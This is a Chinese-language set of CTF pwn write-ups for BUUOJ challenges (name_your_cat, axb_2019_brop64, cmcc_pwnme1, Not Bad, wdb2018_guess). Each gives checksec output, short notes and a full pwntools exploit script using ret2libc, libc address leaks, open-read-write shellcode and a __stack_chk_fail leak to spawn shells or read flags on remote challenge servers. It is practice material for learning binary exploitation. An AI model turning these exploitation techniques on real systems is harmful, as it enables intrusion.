0xFFFFFFD8/8=0x1FFFFFFB=536870907
这样写入地址就是返回地址了
直接修改为后门函数就可以了
为什么要/8是NameWhich函数里面的
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl NameWhich (int a1) { int v2[4 ]; v2[1 ] = __readgsdword(0x14 u); printf ("Name for which?\n>" ); __isoc99_scanf("%d" , v2); printf ("Give your name plz: " ); __isoc99_scanf("%7s" , 8 * v2[0 ] + a1); return v2[0 ]; }
得到payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./wustctf2020_name_your_cat" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28749 io = remote(host, port) shell = 0x080485CB io.sendline("536870907" ) io.sendline(p32(shell)) io.interactive()
axb_2019_brop64 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
这题如果看着源码直接写就是ret2libc
本来以为..brop是类似srop的东西
后面看了下b是blind..
意思是这题是盲打..好像axb这系列都是盲打的..
真服了看了下wp基本就是先泄露地址然后fuzz出主函数再去找csu很复杂的东西..
到时候再来写盲打的wp吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./axb_2019_brop64" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25832 io = remote(host, port) rdi_ret = 0x0000000000400963 puts_got = elf.got["puts" ] puts = 0x400640 main = 0x4007D6 payload = 'a' * 212 + "0000" + p64(rdi_ret) + p64(puts_got) + p64(puts) + p64(main) io.send(payload) io.recvuntil("0000" ) puts_got_address = u64(io.recv()[3 :9 ].ljust(8 , '\x00' )) log.success(hex(puts_got_address)) libc = LibcSearcher('puts' , puts_got_address) base = puts_got_address - libc.dump('puts' ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' * 212 + "0000" + p64(rdi_ret) + p64(bin_sh) + p64(system) + p64(main) io.send(payload) io.interactive()
cmcc_pwnme1 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
32位的ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./pwnme1" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26888 io = remote(host, port) puts_got = elf.got["puts" ] puts = 0x08048548 main = 0x080486F4 io.sendline("5" ) io.recv() payload = 'a' * 168 + p32(puts) + p32(main) + p32(puts_got) io.sendline(payload) io.recvuntil("aaaH" ) io.recvline() puts_address = u32(io.recv()[0 :4 ]) log.success(hex(puts_address)) libc = LibcSearcher("puts" , puts_address) base = puts_address - libc.dump("puts" ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) io.sendline("5" ) io.recv() payload = 'a' * 168 + p32(system) + p32(main) + p32(bin_sh) io.sendline(payload) io.interactive()
ciscn_2019_es_1 堆题
[极客大挑战 2019]Not Bad 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
需要用orw
主函数在0x123000开了内存还提供了jmp rsp
写一个read将shellcode写到0x123000然后跳过去执行就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./not_bad" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25176 io = remote(host, port) mmap = 0x123000 jmp_rsp = 0x400A01 write_shellcode = ''' mov rax,0 mov rdi,0 mov rsi,0x123000 mov rdx,0x100 syscall mov rax,0x123000 jmp rax ''' jmp_shellcode = ''' sub rsp,0x30 jmp rsp ''' open_asm = ''' mov rax,2 mov r15,0x00000067616c662f push r15 xor rdx,rdx xor rsi,rsi mov rdi,rsp syscall ''' read_asm = ''' mov rdi,rax mov eax,0 mov rsi, 0x123500 mov rdx,0x100 syscall ''' write_asm = ''' mov rax,1 mov rdi,1 mov rsi,0x123500 mov rdx,0x100 syscall ''' payload = asm(write_shellcode).ljust(0x28 , '\x00' ) + p64(jmp_rsp) + asm(jmp_shellcode) io.sendline(payload) payload = asm(open_asm) + asm(read_asm) + asm(write_asm) io.sendline(payload) io.interactive()
wdb2018_guess 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
要把libc改为2.23版本
高于2.23就不打印文件名了
这题就是利用2.23的__stack_chk_fail打印文件名漏洞
先覆盖上puts的got得到libc的地址
然后覆盖s行libc的__envrion得到栈地址
因为flag已经存在栈里面所以根据栈地址得到flag的位置最后打印就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from LibcSearcher import *context(log_level = "debug" , arch = "amd64" , os = "linux" ) pwnfile = "./GUESS" libcfile = "./libc-2.23.so" elf = ELF(pwnfile) libc_elf = ELF(libcfile) host = "node4.buuoj.cn" port = 29757 io = remote(host, port) puts_got = elf.got["puts" ] payload = 'a' * 0x128 + p64(puts_got) io.sendline(payload) io.recvuntil("*** stack smashing detected ***: " ) puts_address = u64(io.recv(6 ).ljust(8 , '\x00' )) log.success(hex(puts_address)) libc = LibcSearcher('puts' , puts_address) base = puts_address - libc.dump('puts' ) log.success(hex(base)) env = libc_elf.sym["__environ" ] environ = base + env log.success(hex(environ)) payload = 'a' * 0x128 + p64(environ) io.sendline(payload) io.recvuntil("*** stack smashing detected ***: " ) environ_address = u64(io.recv(6 ).ljust(8 , '\x00' )) log.success("env: " + hex(environ_address)) flag = environ_address-0x168 payload = 'a' * 0x128 + p64(flag) io.sendline(payload) io.interactive()